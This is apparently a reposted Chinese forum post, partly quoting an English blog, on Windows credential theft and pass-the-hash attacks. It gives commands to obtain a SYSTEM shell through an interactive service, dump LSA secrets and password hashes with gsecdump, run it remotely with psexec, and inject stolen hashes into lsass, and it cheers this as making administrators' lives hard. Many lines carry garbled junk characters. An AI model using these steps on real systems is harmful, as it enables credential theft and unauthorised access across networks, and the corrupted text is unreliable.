HASH注入式攻击

admin

o get a DOS Prompt as NT system:
- v8 G7 t6 a  |: y! U* L; [
C:\>sc create shellcmdline binpath= "C:\WINDOWS\system32\cmd.exe /K start" type= own type= interact
[SC] CreateService SUCCESS

C:\>sc start shellcmdline
8 ], M' `0 n, g5 e[SC] StartService FAILED 1053:

The service did not respond to the start or control request in a timely fashion.

( \# B4 ?' x) ?/ xC:\>sc delete shellcmdline
[SC] DeleteService SUCCESS

------------

Then in the new DOS window:

7 T; P/ d3 ]4 k( X+ ~+ |Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>whoami
' n, @  D; G6 ?- J* \1 G8 Z' oNT AUTHORITY\SYSTEM

C:\WINDOWS\system32>gsecdump -h
4 @) @' M& s/ h) F" d' Y( `( K% Lgsecdump v0.6 by Johannes Gumbel (链接标记johannes.gumbel@truesec.se)
6 r, S1 L2 K# h, a* ?usage: gsecdump [options]

options:
-h [ --help ] show help
-a [ --dump_all ] dump all secrets
/ H& `- h+ [) B1 t-l [ --dump_lsa ] dump lsa secrets
2 A  r) S  [" P- \2 y6 C7 O6 a# P-w [ --dump_wireless ] dump microsoft wireless connections
: i! U$ ]) G/ k' I-u [ --dump_usedhashes ] dump hashes from active logon sessions
' l% V( k1 ?9 T: n$ I5 ]4 @% Q-s [ --dump_hashes ] dump hashes from SAM/AD

$ l# g/ L% ~% h' |7 Q" l* RAlthough I like to use:

PsExec v1.83 - Execute processes remotely
Copyright (C) 2001-2007 Mark Russinovich
' [6 V4 C1 G$ Q' jSysinternals - 链接标记[url]www.sysinternals.com[/url]

C:\>psexec \\COMPUTER -u user -p password -s -f -c gsecdump.exe -u >Active-HASH.TXT

) z% q1 p8 I. L3 [; ~0 {% s' m' bto get the hashes from active logon sessions of a remote system.

These are a lot better than getting a cachedump of the Cached Credentials because these hashes are LMHashes that can be easily broken with Rainbow Tables.
" J( }% X1 c, W0 Y/ M* ?
提示一下,可以使用pshtools工具包中的iam,把刚才使用gsecdump抓取出来HASH信息导入本地的lsass进程,来实现hash注入式攻击,还是老外厉害,这下管理员有得忙了,ARP欺骗的时候获得的LM/NThash,还有gethash获得的,其实根本不用破解密码,这个就是利用工具了,原文说的好,不管密码是设置4位还是127位,只要有了hash,100%就能搞定了.
" |- U% N' C8 B( H8 J4 y原文出处:链接标记[url]http://truesecurity.se/blogs/mur ... -text-password.aspx[/url]
; {3 v6 }4 V3 h% T( m6 Z
0 U! B& d/ D$ J7 W. k0 d. Q我看了下原文出处，貌似是/2007/03/16/郁闷啊，差距。